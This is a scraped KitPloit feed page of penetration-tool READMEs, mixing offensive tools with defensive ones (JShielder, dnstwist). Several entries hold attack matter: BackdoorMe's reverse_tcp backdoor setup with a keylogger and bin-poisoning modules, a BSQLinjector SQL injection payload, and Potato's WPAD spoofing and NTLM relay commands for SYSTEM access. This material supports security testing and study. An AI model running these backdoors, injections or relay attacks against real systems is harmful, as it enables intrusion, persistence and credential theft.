Quantcast
Channel: KitPloit - PenTest Tools!
Viewing all 5816 articles
Browse latest View live

Penbox - A Tool That Has All The Tools, Penetration Tester'S Repo

$
0
0

PenBox
A Penetration Testing Framework , The Hacker's Repo our hope is in the last version we will have evry script that a hacker needs :)

Requirements
  • Python 2
  • sudoer

Versions
Version v1.1 :

Drupal_Hacking :
  • 1): Drupal Bing Exploiter
  • 2): Get Drupal Websites
  • 3): Drupal Mass Exploiter
Privat_Tools:
  • 1) Get all websites
  • 2) Get joomla websites
  • 3) Get wordpress websites
  • 4) Find control panel
  • 5) Find zip files
  • 6) Find upload files
  • 7) Get server users
  • 8) Scan from SQL injection
  • 9) Crawl and scan from SQL injection
  • 10) Scan ports (range of ports)
  • 11) Scan ports (common ports)
  • 12) Get server banner
  • 13) Bypass Cloudflare
OS_System:
  • 1) Mac OSX
  • 2) Linux ( root required )
  • 3) Windows ( not available "yet" )
Other_tools:
  • jboss-autopwn
  • sqlmap
  • Shellnoob
  • Inurlbr
  • nmap
  • Setoolkit
  • Port Scanning
  • Host To IP
  • Cupp
  • Ncrack
  • Reaver
  • Ssltrip version v1.0 :
  • added some tools
  • fixed some errors
  • optimised menus and submenus

OS
  • This Tool Only Works On Linux And OSx



BackdoorMe - Powerful Auto-Backdooring Utility

$
0
0

Backdoorme is a powerful utility capable of backdooring Unix machines with a slew of backdoors. Backdoorme uses a familiar metasploit interface with tremendous extensibility.

Backdoorme relies on having an existing SSH connection or credentials to the victim, through which it will transfer and deploy any backdoors. In the future, this reliance will be removed as the tool is expanded. To set up SSH, please see here: https://help.ubuntu.com/community/SSH/OpenSSH/Configuring

Please only use Backdoorme with explicit permission - please don't hack without asking.


Usage

Backdoorme comes with a number of built-in backdoors, modules, and auxiliary modules. Backdoors are specific components to create and deploy a specific backdoor, such as a netcat backdoor or msfvenom backdoor. Modules can be applied to any backdoor, and are used to make backdoors more potent, stealthy, or more readily tripped. Auxiliaries are useful operations that could be performed to help persistence.

To start backdoorme, first ensure that you have the required dependencies.
$ python dependencies.py
Launching backdoorme:
$ python master.py     ___           __      __              __  ___    / _ )___ _____/ /_____/ /__  ___  ____/  |/  /__   / _  / _ `/ __/  '_/ _  / _ \/ _ \/ __/ /|_/ / -_)  /____/\_,_/\__/_/\_\\_,_/\___/\___/_/ /_/  /_/\__/  Welcome to BackdoorMe, a powerful backdooring utility. Type "help" to see the list of available commands.  Type "addtarget" to set a target, and "open" to open an SSH connection to that target.  Using local IP of 10.1.0.1.  >>  
To add a target:
>> addtarget  Target Hostname: 10.1.0.2  Username: victim  Password: password123   + Target 1 Set!  >>  

Backdoors
To use a backdoor, simply run the "use" keyword.
>> use metasploit   + Using current target 1.   + Using Metasploit backdoor...  (msf) >>  
From there, you can set options pertinent to the backdoor. Run either "show options" or "help" to see a list of parameters that can be configured. To set an option, simply use the "set" keyword.
(msf) >> show options  Backdoor options:    Option      Value       Description     Required  ------      -----       -----------     --------  name        initd       name of the backdoor        False  format      elf     format to write the backdoor to     True  lhost       10.1.0.1        local IP to connect back to     True  encoder     none        encoder to use for the backdoor     False  lport       4444        local port to connect back on       True  payload     linux/x86/meterpreter/reverse_tcp       payload to deploy in backdoor       True  (msf) >> set name apache   + name => apache  (msf) >> show options  Backdoor options:    Option      Value       Description     Required  ------      -----       -----------     --------  name        apache      name of the backdoor        False  ...  
Currently enabled backdoors include:
  • Bash
  • Bash2 (more reliable)
  • Metasploit
  • Netcat
  • Netcat-traditional
  • Perl
  • Php (does not automatically install a web server, but use the web module!)
  • Pupy
  • Python
  • Web (php - not the same backdoor as the above php backdoor)

Modules
Every backdoor has the ability to have additional modules applied to it to make the backdoor more potent. To add a module, simply use the "add" keyword.
(msf) >> add poison   + Poison module added  
Each module has additional parameters that can be customized, and if "help" is rerun, you can see or set any additional options.
(msf) >> help  ...  Poison module options:    Option      Value       Description     Required  ------      -----       -----------     --------  name        ls        name of command to poison     False  location /bin       where to put poisoned files into        False  
Currently enabled modules include:
  • Poison
    • Performs bin poisoning on the target computer - it compiles an executable to call a system utility and an existing backdoor.
    • For example, if the bin poisoning module is triggered with "ls", it would would compile and move a binary called "ls" that would run both an existing backdoor and the original "ls", thereby tripping a user to run an existing backdoor more frequently.
  • Cron
    • Adds an existing backdoor to the root user's crontab to run with a given frequency.
  • Web
    • Sets up a web server and places a web page which triggers the backdoor.
    • Simply visit the site with your listener open and the backdoor will begin.
  • Keylogger
    • Ships a keylogger to the target and starts it.
    • Given the option to email the results to you every hour.
  • User
    • Adds a new user to the target.
  • Startup
    • Allows for backdoors to be spawned with the bashrc and init files.

Auxiliaries
In order to have persistence be more potent, some users may wish to install certain services on a target. To apply an auxiliary module, use the "apply" keyword.
>> apply user  + User Auxiliary Module added.  
Auxiliaries also support the use of modules, so they can be triggered more steathily or more often.
>> (user) add startup  + Startup Module added.  
Currently enabled auxiliaries include:
  • User
    • Adds a new user to the target.

Targets
Backdoorme supports multiple different targets concurrently, organized by number when entered. The core maintains one "current" target, to which any new backdoors will default. To switch targets manually, simply add the target number after the command: "use metasploit 2" will prepare the metasploit backdoor against the second target.


BSQLinjector - Blind SQL Injection Exploitation Tool

$
0
0

BSQLinjector uses blind method to retrieve data from SQL databases. I recommend using "--test" switch to clearly see how configured payload looks like before sending it to an application.

Options: 

--file Mandatory - File containing valid HTTP request and SQL injection point (SQLINJECT). (--file=/tmp/req.txt)

--pattern Mandatory - Pattern to look for when query is true. (--pattern=truestatement) 

--prepend Mandatory - Main payload. (--prepend="abcd'and'a'='b'+union+select+'truestatement'+from+table+where+col%3d'value'+and+substr(password,"

--append How to end our payload. For example comment out rest of SQL statement. (--append='#

--2ndfile File containing valid HTTP request used in second order exploitation. (--2ndfile=/tmp/2ndreq.txt)

--mode Blind mode to use - (between - b (generates less requests), moreless - a (generates less requests by using "<", ">", "=" characters), like - l (complete bruteforce), equals - e (complete bruteforce)). (--mode=l)

 --hex Use hex to compare instead of characters.

 --case Case sensitivity.

--ssl Use SSL.

--proxy Proxy to use. (--proxy=127.0.0.1:8080)

--test Enable test mode. Do not send request, just show full payload.

 --comma Encode comma. 

--bracket Add brackets to the end of substring function. --bracket="))" 

--schar Character placed around chars. This character is not used while in hex mode. (--schar="'")

--special Include all special characters in enumeration.

--start Start enumeration from specified character. (--start=10)

--max Maximum characters to enumerate. (--max=10)

--timeout Timeout in waiting for responses. (--timeout=20) 

--verbose Show verbose messages.

Example usage: 
ruby ./BSQLinjector.rb --pattern=truestatement --file=/tmp/req.txt --prepend="abcd'and'a'='b'+union+select+'truestatement'+from+table+where+col%3d'value'+and+substr(password," --append="'#" --ssl


Killchain - A Unified Console To Perform The "Kill Chain" Stages Of Attacks

$
0
0


“Kill Chain” is a unified console with an anonymizer that will perform these stages of attacks:
  • Reconnaissance
  • Weaponization
  • Delivery
  • Exploit
  • Installation
  • Command & Control
  • And Actions 

Dependant tool sets are:
1) Tor -- For the console build in anonymizer.
2) Set -- Social-Engineer Toolkit (SET), attacks against humans.
3) OpenVas -- Vulnerability scanning and vulnerability management.
4) Veil-Evasion -- Generate metasploit payloads bypass anti-virus.
5) Websploit -- WebSploit Advanced MITM Framework.
6) Metasploit -- Executing exploit code against target.
7) WiFite -- Automated wireless auditor, designed for Linux.


RootHelper - A Bash Script That Downloads And Unzips Scripts That Will Aid With Privilege Escalation On A Linux System

$
0
0

RootHelper
Roothelper will aid in the process of privilege escalation on a Linux system that has been compromised, by fetching a number of enumeration and exploit suggestion scripts. The latest version downloads four scripts. Two enumeration shellscripts and two exploit suggesters, one written in perl and the other one in python.
The credits for the scripts it fetches go to the original authors.


Priv-Esc scripts
LinEnum  
Shellscript that enumerates the system configuration.
unix-privesc-check  
Shellscript that enumerates the system configuration and runs some privilege escalation checks as well.
linuxprivchecker  
A python implementation to suggest exploits particular to the system that's been compromised.
Linux_Exploit_Suggester  
A perl script that that does the same as the one mentioned above.

Usage
To use the script you will need to get it on the system you've compromised, from there you can simply run it and it will show you the options available and an informational message regarding the options. For clarity i will post it below as well.
The 'Help' option displays this informational message.    The 'Download' option fetches the relevant files and places them in the /tmp/ directory.    The option 'Download and unzip' downloads all files and extracts the contents of zip archives to their individual subdirectories respectively, please  note; if the 'mkdir' command is unavailable however, the operation will not succeed and the 'Download' option should be used instead    The 'Clean up' option removes all downloaded files and 'Quit' exits roothelper.  
Credits for the other scripts go to their original authors.
https://github.com/rebootuser/LinEnum
https://github.com/PenturaLabs/Linux_Exploit_Suggester
http://www.securitysift.com/download/linuxprivchecker.py
https://github.com/pentestmonkey/unix-privesc-check


SimplyEmail - Email Recon Made Fast And Easy, With A Framework To Build On

$
0
0

What is the simple email recon tool? This tool was based off the work of theHarvester and kind of a port of the functionality. This was just an expansion of what was used to build theHarvester and will incorporate his work but allow users to easily build Modules for the Framework. Which I felt was desperately needed after building my first module for theHarvester.

Scrape EVERYTHING - Simply
Current Platforms Supported:
  • Kali Linux 2.0
  • Kali Linux 1.0
A few small benefits:
  • Easy for you to write modules (All you need is 1 required Class option and you're up and running)
  • Use the built in Parsers for most raw results
  • Multiprocessing Queue for modules and Result Queue for easy handling of Email data
  • Simple intergration of theHarvester Modules and new ones to come
  • Also the ability to change major settings fast without diving into the code
API Based Searches:
  • When API based searches become avaliable, no need to add them to the Command line
  • API keys will be auto pulled from the SimpleEmail.ini, this will activate the module for use

Get Started
Please RUN the simple Setup Bash script!!!
root@kali:~/Desktop/SimplyEmail# sh Setup.sh
or
root@kali:~/Desktop/SimplyEmail# ./Setup.sh

Standard Help
 ============================================================
Curent Version: 0.5 | Website: CyberSyndicates.com
============================================================
Twitter: @real_slacker007 | Twitter: @Killswitch_gui
============================================================
------------------------------------------------------------
______ ________ __ __
/ \/ | / / |
/$$$$$$ $$$$$$$$/ _____ ____ ______ $$/$$ |
$$ \__$$/$$ |__ / \/ \ / \/ $$ |
$$ \$$ | $$$$$$ $$$$ |$$$$$$ $$ $$ |
$$$$$$ $$$$$/ $$ | $$ | $$ |/ $$ $$ $$ |
/ \__$$ $$ |_____$$ | $$ | $$ /$$$$$$$ $$ $$ |
$$ $$/$$ $$ | $$ | $$ $$ $$ $$ $$ |
$$$$$$/ $$$$$$$$/$$/ $$/ $$/ $$$$$$$/$$/$$/

------------------------------------------------------------
usage: SimplyEmail.py [-all] [-e company.com] [-l] [-t html / flickr / google]
[-v]

Email enumeration is a important phase of so many operation that a pen-tester
or Red Teamer goes through. There are tons of applications that do this but I
wanted a simple yet effective way to get what Recon-Ng gets and theHarvester
gets. (You may want to run -h)

optional arguments:
-all Use all non API methods to obtain Emails
-e company.com Set required email addr user, ex ale@email.com
-l List the current Modules Loaded
-t html / flickr / google
Test individual module (For Linting)
-v Set this switch for verbose output of modules

Run SimplyEmail
Let's say your target is cybersyndicates.com
./SimplyEmail.py -all -e cybersyndicates.com  or in verbose  ./SimplyEmail.py -all -v -e cybersyndicates.com
This will run ALL modules that are have API Key placed in the SimpleEmail.ini file and will run all non-API based modules.

List Modules SimpleEmail
root@vapt-kali:~/Desktop/SimplyEmail# ./SimplyEmail.py -l

============================================================
Curent Version: 0.5 | Website: CyberSyndicates.com
============================================================
Twitter: @real_slacker007 | Twitter: @Killswitch_gui
============================================================
------------------------------------------------------------
______ ________ __ __
/ \/ | / / |
/$$$$$$ $$$$$$$$/ _____ ____ ______ $$/$$ |
$$ \__$$/$$ |__ / \/ \ / \/ $$ |
$$ \$$ | $$$$$$ $$$$ |$$$$$$ $$ $$ |
$$$$$$ $$$$$/ $$ | $$ | $$ |/ $$ $$ $$ |
/ \__$$ $$ |_____$$ | $$ | $$ /$$$$$$$ $$ $$ |
$$ $$/$$ $$ | $$ | $$ $$ $$ $$ $$ |
$$$$$$/ $$$$$$$$/$$/ $$/ $$/ $$$$$$$/$$/$$/

------------------------------------------------------------
[*] Available Modules are:

1) Modules/GooglePDFSearch.py
2) Modules/HtmlScrape.py
3) Modules/GitHubUserSearch.py
4) Modules/Whoisolgy.py
5) Modules/CanaryBinSearch.py
6) Modules/YahooSearch.py
7) Modules/GitHubCodeSearch.py
8) Modules/OnionStagram.py
9) Modules/AskSearch.py
10) Modules/EmailHunter.py
11) Modules/WhoisAPISearch.py
12) Modules/SearchPGP.py
13) Modules/GoogleSearch.py
14) Modules/GitHubGistSearch.py
15) Modules/RedditPostSearch.py
16) Modules/FlickrSearch.py

Understanding Reporting Options:
One of the most frustrating aspects of Pen-testing is the tools' ability to report the findings and make those easily readable. This may be for the data provided to a customer or just the ability to report on source of the data.
So I'm making it my goal for my tools to take that work off your back and make it as simple as possible! Let's cover the two different reports generated.

Text Output:
With this option results are generated and appended to a running text file called Email_List.txt. this makes it easy to find past searches or export to tool of choice. Example:
    ----------------------------------
Email Recon: 11/11/2015 05:13:32
----------------------------------
bo@mandiant.com
in@mandiant.com
sc@mandiant.com
je@mandiant.com
su@mandiant.com
----------------------------------
Email Recon: 11/11/2015 05:15:42
----------------------------------
bo@mandiant.com
in@mandiant.com
sc@mandiant.com
je@mandiant.com
su@mandiant.com

HTML Output:
As I mentioned before a powerful function that I wanted to integrate was the ability to produce a visually appealing and rich report for the user and potentially something that could be part of data provided to a client. Please let me know with suggestions!

Email Source:


Email Section:
  • Html report now shows Alerts for Canary Search Results! 


Current Email Evasion Techniques
  • The following will be built into the Parser Soon:
  • shinichiro.hamaji at gmail.com
  • shinichiro.hamaji AT gmail.com
  • simohayha.bobo at gmail.com
  • "jeffreytgilbert" => "gmail.com"
  • felix021 # gmail.com
  • hirokidaichi[at]gmail.com
  • hirokidaichi[@]gmail.com
  • hirokidaichi[#]gmail.com
  • xaicron{ at }gmail.com
  • xaicron{at}gmail.com
  • xaicron{@}gmail.com
  • xaicron(@)gmail.com
  • xaicron + gmail.com
  • xaicron ++ gmail.com
  • xaicron ## gmail.com
  • bekt17[@]gmail.com
  • billy3321 -AT- gmail.com
  • billy3321[AT]gmail.com
  • ybenjo.repose [[[at]]] gmail.com
  • sudhindra.r.rao (at) gmail.com
  • sudhindra.r.rao nospam gmail.com
  • shinichiro.hamaji (.) gmail.com
  • shinichiro.hamaji--at--gmail.com

Build Log:

Changelog (Current v0.6):
===================================
Framework Improvements v0.7:
-----------------------------
(x) Add unicode / UT8 Decoding to the parser options
(x) Added Version Check

Modules Added in v0.7
-----------------------------
(x) Google Docx Search

Issues Fixed in v0.7:
-----------------------------
(x) Fixed issues with Except statement in a few modules
(x) Fixed Case Mathcing Issues with target Domain

===================================
Modules Added in v0.6
-----------------------------
(x) Google Doc Search
(x) Google Xlsx Search

===================================
Modules Added in v0.5
-----------------------------
(x) Reddit Post Search added
(x) Google PDF search

===================================
Modules Added in v0.4
-----------------------------
(x) GitHubUser added

Issues Fixed in v0.4:
-----------------------------
(x) Setup File Fix
(x) issues with strip in Html

Framework Improvements v0.4:
-----------------------------
(x) Added Source of email collection
to final report in bootstrap.
(x) Added Verbose options for Modules
to handle Vebose printing.
(x) Added Alerts to HTML report
when emails are gathered from canary.

===================================
Modules Added in v0.3:
-----------------------------
(x) OnionStagram (Instagram User Search)
(x) AskSearch - Port from theHarvester

Issues Fixed in v0.3:
----------------------------
(x) Added Parser to GitHubCode Search
(x) Moved wget to 2 sec timeout

===================================
Modules Added in v0.2:
-----------------------------
(x) EmailHunter Trial API

Issues Fixed in v0.2:
-----------------------------
(x) Fixed Issues with SetupScript
(x) Changes Output Text file name

===================================
Modules Added in v0.1:
-----------------------------
(x) HtmlScrape Added to Modules
(x) SearchPGP Added to Modules - Port form theHarvester
(x) Google Search - Port form theHarvester
(x) Flickr Page Search
(x) GitHub Code Search
(x) GitHubGist Code Search
(x) Whois Non-Auth API Search
(x) Whoisology Search
(x) Yahoo Search - Port from theHarvester
(x) Canary (Non-API) PasteBin Search for Past Data Dumps!

Issues Fixed in v0.1:
-----------------------------
(x) Wget fails to follow redirects in some cases
(x) Fixed Issues with google search
(x) Major change with how the Framework Handles Consumer and Producred Model
(x) Fix Issues with Join() and Conducter

Imprrovements in v0.1:
-----------------------------
(x) Added in valid UserAgents and headers
(x) HTML Scrape now has opption to save or remove is mirror
(x) HTML Scrape UTF-8 issues fixed

Build out Path:
Modules Under Dev:
-----------------------------
( ) StartPage Search (can help with captcha issues)
( ) Searching SEC Data
( ) Exalead Search - Port from theHarvester
( ) PwnBin Search
( ) PasteBin Searches
( ) Past Data Dumps
( ) psbdmp API Based and non Alert

Framework Under Dev:
-----------------------------
( ) New Parsers to clean results
( ) Fix import errors with Glob
( ) Add in "[@]something.com" to search Regex and engines
( ) Add errors for Captcha limit's
( ) Add Threading/Multi to GitHub Search
( ) Add Source of collection to HTML Output


Project Arsenal X - As HackTheGame But Real

$
0
0

Project Arsenal X
New version of my Arsenal X written in Delphi with the following options:

[+] Gmail Inbox
[+] Whois Client
[+] Table
[+] Downloader
[+] Get IP
[+] Locate IP
[+] K0bra SQLI Scanner
[+] Crack multiple hashes
[+] Search admin panel
[+] Port Scanner
[+] Multi Cracker with support for FTP, TELNET, POP3
[+] Execution of commands in the console

An video :


Download Project Arsenal X

JShielder - LAMP/LEMP Secure Deployment

$
0
0

JSHielder is an Open Source tool developed to help SysAdmin and developers secure there Linux Servers in which they will be deploying any web application. This tool automates the process of installing all the necessary packages to host a web application and Hardening a Linux server with little interaction from the user.

This tool is a Bash Script with a little python script that hardens the Linux Server security automatically and the steps followed are:
  • Configures a Hostname
  • Reconfigures the Timezone
  • Updates the entire System
  • Creates a New Admin user so you can manage your server safely without the need of doing remote connections with root.
  • Generates Secure RSA Keys, so that remote access to your server is done exclusive from you local pc and no Conventional password
  • Configures, Optimize and secures the SSH Server
  • Configures IPTABLES Rules to protect the server from common attacks
  • Protects the server against Brute Force attacks by installing a configuring fail2ban
  • Stop Portscans by blocking intrusive IP via IPTABLES using portsentry
  • Install, configure, and optimize MySQL
  • Install the Apache Web Server
  • Install, configure and secure PHP
  • Secure Apache via configuration file and with installation of the Modules ModSecurity, ModEvasive, Qos and SpamHaus
  • Installs RootKit Hunter
  • Secures Root Home and Grub Configuration Files
  • Installs Unhide to help Detect Malicious Hidden Processes
  • Installs Tiger, A Security Auditing and Intrusion Prevention system
  • Restrict Access to Apache Config Files
  • Disable Compilers
  • Creates Daily Cron job for System Updates
  • Kernel Hardening via sysctl configuration File

Recently Added Hardening Steps

  • Added PHP Suhosin Installation to protect PHP Code and Core for Known and Unknown flaws
  • Use of Function for code execution customization
  • Distro Selection Menu
  • Function Selection Menu
  • Deployment Selection Menu (LAMP, LEMP, Reverse Proxy)
  • Added LEMP Deployment with ModSecurity
  • Added /tmp folder Hardening
  • Added PSAD IDS installation
  • Added Process Accountingcd ..
  • Added Unattended Upgrades
  • Added MOTD and Banners for Unauthorized access
  • Disable USB Support for Improved Security (Optional)
  • Restrictive Default UMASK
  • Added Additional Hardening Steps

To Run the tool

./jshielder.sh
As the Root user

ChangeLog

v2.0 More Deployment Options, Selection Menu, PHP Suhosin installation, Cleaner Code,
v1.0 - New Code



WiFi-Pumpkin - Framework For Rogue Wi-Fi Access Point Attack

$
0
0

WiFi-Pumpkin is security tool that provide the Rogue access point to Man-In-The-Middle and network attacks. purporting to provide wireless Internet services, but snooping on the traffic. can be used to capture of credentials of unsuspecting users by either snooping the communication by phishing.

Installation
Kali 2.0/WifiSlax 4.11.1/Parrot 2.0.5
 git clone https://github.com/P0cL4bs/WiFi-Pumpkin.git   cd WiFi-Pumpkin   chmod +x installer.sh   ./installer.sh --install
refer to the wiki for Installation

Features
  • Rouge Wi-Fi Access Point
  • Deauth Attack Clients AP
  • Probe Request Monitor
  • DHCP Starvation Attack
  • Crendentials Monitor
  • Windows Update Attack
  • Phishing Manager
  • Partial bypass HSTS
  • Dump credentials phishing
  • Support beef hook
  • Report Logs html
  • Mac Changer
  • ARP Posion
  • DNS Spoof

Plugins

Screenshots


Potato - Privilege Escalation on Windows 7,8,10, Server 2008, Server 2012

$
0
0

How it works

Potato takes advantage of known issues in Windows to gain local privilege escalation, namely NTLM relay (specifically HTTP->SMB relay) and NBNS spoofing.
Using the techniques outlined below, it is possible for an unprivileged user to gain "NT AUTHORITY\SYSYTEM" level access to a Windows host in default configurations.
The exploit consists of 3 main parts, all of which are somewhat configurable through command-line switches:

1. Local NBNS Spoofer
NBNS is a broadcast UDP protocol for name resolution commonly used in Windows environments. In penetration testing, we often sniff network traffic and respond to NBNS queries observed on a local network. For privilege escalation purposes, we can't assume that we are able to sniff network traffic, so how can we accomplish NBNS spoofing?
If we can know ahead of time which host a target machine (in this case our target is 127.0.0.1) will be sending an NBNS query for, we can craft a response and flood the target host with NBNS responses (since it is a UDP protocol). One complication is that a 2-byte field in the NBNS packet, the TXID, must match in the request and response. We can overcome this by flooding quickly and iterating over all 65536 possible values.
What if the host we are trying to spoof has a DNS record already? Well we can FORCE DNS lookups to fail in a funny way. Using a technique called "port exhaustion" we bind to every single UDP port. When you try to perform a DNS lookup it will fail because there will be no available source port for the DNS reply to come to.
In testing, this has proved to be 100% effective.

2. Fake WPAD Proxy Server
With the ability to spoof NBNS responses, we can target our NBNS spoofer at 127.0.0.1. We flood the target machine (our own machine) with NBNS response packets for the host "WPAD", or "WPAD.DOMAIN.TLD", and we say that the WPAD host has IP address 127.0.0.1.
At the same time, we run an HTTP server locally on 127.0.0.1. When it receives a request for "http://wpad/wpad.dat", it responds with something like the following:
FindProxyForURL(url,host){
if (dnsDomainIs(host, "localhost")) return "DIRECT";
return "PROXY 127.0.0.1:80";}
This will cause all HTTP traffic on the target to be redirected through our server running on 127.0.0.1.
Interestingly, this attack when performed by even a low privilege user will affect all users of the machine. This includes administrators, and system accounts. See the screenshots "egoldstein_spoofing.png" and "dade_spoofed.png" for an example.

3. HTTP -> SMB NTLM Relay
With all HTTP traffic now flowing through a server that we control, we can do things like request NTLM authentication...
In the Potato exploit, all requests are redirected with a 302 redirect to "http://localhost/GETHASHESxxxxx", where xxxxx is some unique identifier. Requests to "http://localhost/GETHASHESxxxxx" respond with a 401 request for NTLM authentication.
The NTLM credentials are relayed to the local SMB listener to create a new system service that runs a user-defined command. This command will run with "NT AUTHORITY\SYSTEM" privilege.

Using the Exploit

Usage is currently operating system dependant.
It is also a bit flaky sometimes, due to the quirks in how Windows handles proxy settings and the WPAD file. Often when the exploit doesn't work, it is required to leave it running and wait. When Windows already has a cached entry for WPAD, or is allowing direct internet access because no WPAD was found, it could take 30-60 minutes for it to refresh. It is necessary to leave the exploit running and try to trigger it again later, after this time has elapsed.
The techniques listed here are ordered from least to most complex. Any technique later in the list should work on all versions previous. Videos and screenshots are included for each.
Windows 7 - see https://www.youtube.com/watch?v=Nd6f5P3LSNM
Windows 7 can be fairly reliably exploited through the Windows Defender update mechanism.
Potato.exe has code to automatically trigger this. Simply run the following:
Potato.exe -ip <local ip> -cmd <command to run> -disable_exhaust true

This will spin up the NBNS spoofer, spoof "WPAD" to 127.0.0.1, then check for Windows Defender updates.
If your network has a DNS entry for "WPAD" already, you can try "-disable_exhaust false". This should cause the DNS lookup to fail and it should fallback to NBNS. We've tested this a couple times and had it work
Windows Server 2008 - see https://www.youtube.com/watch?v=z_IGPWgL5SY
Since Windows Server doesn't come with Defender, we need an alternate method. Instead we'll simply check for Windows updates. The other caveat is that, at least on my domain, Server 2K8 wanted WPAD.DOMAIN.TLD instead of just WPAD. The following is an example usage:
Potato.exe -ip <local ip> -cmd <command to run> 
-disable_exhaust true -disable_defender true --spoof_host WPAD.EMC.LOCAL

After this runs successfully, simply check for Windows updates. If it doesn't trigger, wait about 30m with the exploit running and check again. If it still doesn't work, try actually downloading an update.
If your network has a DNS entry for "WPAD" already, you can try "-disable_exhaust false". This should cause the DNS lookup to fail and it should fallback to NBNS. We've tested this a couple times and had it work
Windows 8/10/Server 2012 - see https://www.youtube.com/watch?v=Kan58VeYpb8
In the newest versions of Windows, it appears that Windows Update may no longer respect the proxy settings set in "Internet Options", or check for WPAD. Instead proxy settings for Windows Update are controlled using "netsh winhttp proxy..."
Instead for these versions, we rely on a newer feature of Windows, the "automatic updater of untrusted certificates". Details can be found https://support.microsoft.com/en-us/kb/2677070 and https://technet.microsoft.com/en-us/library/dn265983.aspx
From the technet article "The Windows Server 2012 R2, Windows Server 2012, Windows 8.1, and Windows 8 operating systems include an automatic update mechanism that downloads certificate trust lists (CTLs) on a daily basis."
It appears that this part of Windows still uses WPAD, even when the winhttp proxy setting is set to direct.
In this case the usage of Potato is as follows:
Potato.exe -ip <local ip> -cmd <cmd to run> -disable_exhaust true -disable_defender true

At this point, you will need to wait up to 24hrs or find another way to trigger this update.
If your network has a DNS entry for "WPAD" already, you can try "-disable_exhaust false". This should cause the DNS lookup to fail and it should fallback to NBNS. We've tested this a couple times and had it work

Mitigations

Enabling "Extended Protection for Authentication" in Windows should stop NTLM relay attacks.
SMB Signing may also mitigate this type of attack, however this would require some more research on my part to confirm.

Off Broadcast NBNS Spoofing

Using the same NBNS spoofing technique as the Potato exploit, we can perform NBNS spoofing against any host for which we can talk to UDP 137. We simply need to send UDP packets quickly enough to sneak in a valid reply before the NBNS request times out.
A demo video of this can be seen at https://www.youtube.com/watch?v=Mzn7ozkyG5g
The demo lab has the following setup:
PFSense firewall 10.0.0.0/24 -> Corporate LAN 10.0.1.0 /24 -> Server network
From the corporate network, we’ll attack a machine on the server network.

Usage:
python Responder.py –I eth0 –spoof <target>:<spoof address>:<spoof host>


Zizzania - Automated DeAuth Attack

$
0
0

zizzania sniffs wireless traffic listening for WPA handshakes and dumping only those frames suitable to be decrypted (one beacon + EAPOL frames + data). In order to speed up the process, zizzania sends IEEE 802.11 DeAuth frames to the stations whose handshake is needed, properly handling retransmissions and reassociations and trying to limit the number of DeAuth frames sent to each station.

Usage
zizzania (-r <file> | -i <device> [-c <channel>]
([-n] | [-d <count>] [-a <count>] [-t <seconds>]))
[-b <address>...] [-x <address>...] [-2 | -3]
[-w <file> [-g]] [-v]

-i <device> Use <device> for both capture and injection
-c <channel> Set <device> to RFMON mode on <channel>
-n Passively wait for WPA handshakes
-d <count> Send groups of <count> deauthentication frames
-a <count> Perform <count> deauthentications before giving up
-t <seconds> Time to wait between two deauthentication attempts
-r <file> Read packets from <file> (- for stdin)
-b <address> Limit the operations to the given BSSID
-x <address> Exclude the given station from the operations
-2 Settle for the first two handshake messages
-3 Settle for the first three handshake messages
-w <file> Write packets to <file> (- for stdout)
-g Also dump multicast and broadcast traffic
-v Print verbose messages to stderr (toggle with SIGUSR1)

Examples
  • Put the network interface in RFMON mode on channel 6 and save the traffic gathered from the stations associated to a specific access point:
    zizzania -i wlan0 -c 6 -b AA:BB:CC:DD:EE:FF -w out.pcap  
  • Passively analyze the traffic generated by any station on the current channel assuming that the network interface is already RFMON mode:
    zizzania -i wlan0 -n  
  • Strip unnecessary frames from a pcap file (excluding altogether the traffic generated by one particular station) considering an handshake complete after just the first two messages (which should be enough for unicast traffic decryption):
    zizzania -r in.pcap -x 00:11:22:33:44:55 -w out.pcap  
  • Use airdecap-ng to decrypt a pcap file created by zizzania:
    airdecap-ng -b AA:BB:CC:DD:EE:FF -e SSID -p passphrase out.pcap  

Dependencies

Debian-based
sudo apt-get install scons libpcap-dev uthash-dev  

Mac OS X ( Homebrew )
brew install scons libpcap clib  clib install troydhanson/uthash  # from this directory  
Or as an alternative to clib just throw uthash.h in any valid headers search path.

Build
make  
The install process is not mandatory, zizzania can be run from the src directory. Just in case:
make install  make uninstall  

Mac OS X support
In order to sniff packets live and to perform the deauthentication phase zizzania requires that the network interface/driver supports RFMON mode and injection. This is known to be troublesome with Mac OS X and hence it is not directly supported by zizzania.


Dnstwist - Domain Name Permutation Engine For Detecting Typo Squatting, Phishing And Corporate Espionage

$
0
0

See what sort of trouble users can get in trying to type your domain name. Find similar-looking domains that adversaries can use to attack you. Can detect typosquatters, phishing attacks, fraud and corporate espionage. Useful as an additional source of targeted threat intelligence.


The idea is quite straightforward: dnstwist takes in your domain name as a seed, generates a list of potential phishing domains and then checks to see if they are registered. Additionally it can test if the mail server from MX record can be used to intercept misdirected corporate e-mails and it can generate fuzzy hashes of the web pages to see if they are live phishing sites.

Key features
There are several pretty good reasons to give it a try:
  • Wide range of efficient domain fuzzing algorithms
  • Multithreaded job distribution
  • Resolves domain names to IPv4 and IPv6
  • Queries for NS and MX records
  • Evaluates web page similarity with fuzzy hashes to find live phishing sites
  • Tests if MX host (mail server) can be used to intercept misdirected e-mails (espionage)
  • Generates additional domain variants using dictionary files
  • GeoIP location information
  • Grabs HTTP and SMTP service banners
  • WHOIS lookups for creation and modification date
  • Prints output in CSV and JSON format

Requirements
If you want dnstwist to develop full power, please make sure the following Python modules are present on your system. If missing, dnstwist will still work, but without many cool features. You'll get a notification in absence of required module.

Installation
Linux
Ubuntu Linux is the primary development platform. If running Ubuntu 15.04 or newer, you can install dependencies like this:
$ sudo apt-get install python-dnspython python-geoip python-whois \  python-requests python-ssdeep  
Alternately, you can use Python tooling. This can be done within a virtual environment to avoid conflicts with other installations. However, you will still need a couple of libraries installed at the system level.
$ sudo apt-get install libgeoip-dev libffi-dev  $ BUILD_LIB=1 pip install -r requirements.txt  
Now it is fully equipped and ready for action.
OSX
If you're on a Mac, you can install dnstwist via Homebrew like so:
$ brew install dnstwist  
This is going to install dnstwist.py as dnstwist only, along with all requirements mentioned above. The usage is the same, you can just omit the file extension, and the binary will be added to PATH .
Docker
If you use Docker, you can build a local copy:
$ docker build -t dnstwist .  
Then run that local image:
$ docker run dnstwist example.com  
If you don't want to build locally here is a list of community maintained images:

How to use
To start, it's a good idea to enter only the domain name as an argument. The tool will run it through its fuzzing algorithms and generate a list of potential phishing domains with the following DNS records: A, AAAA, NS and MX.
$ dnstwist.py example.com  
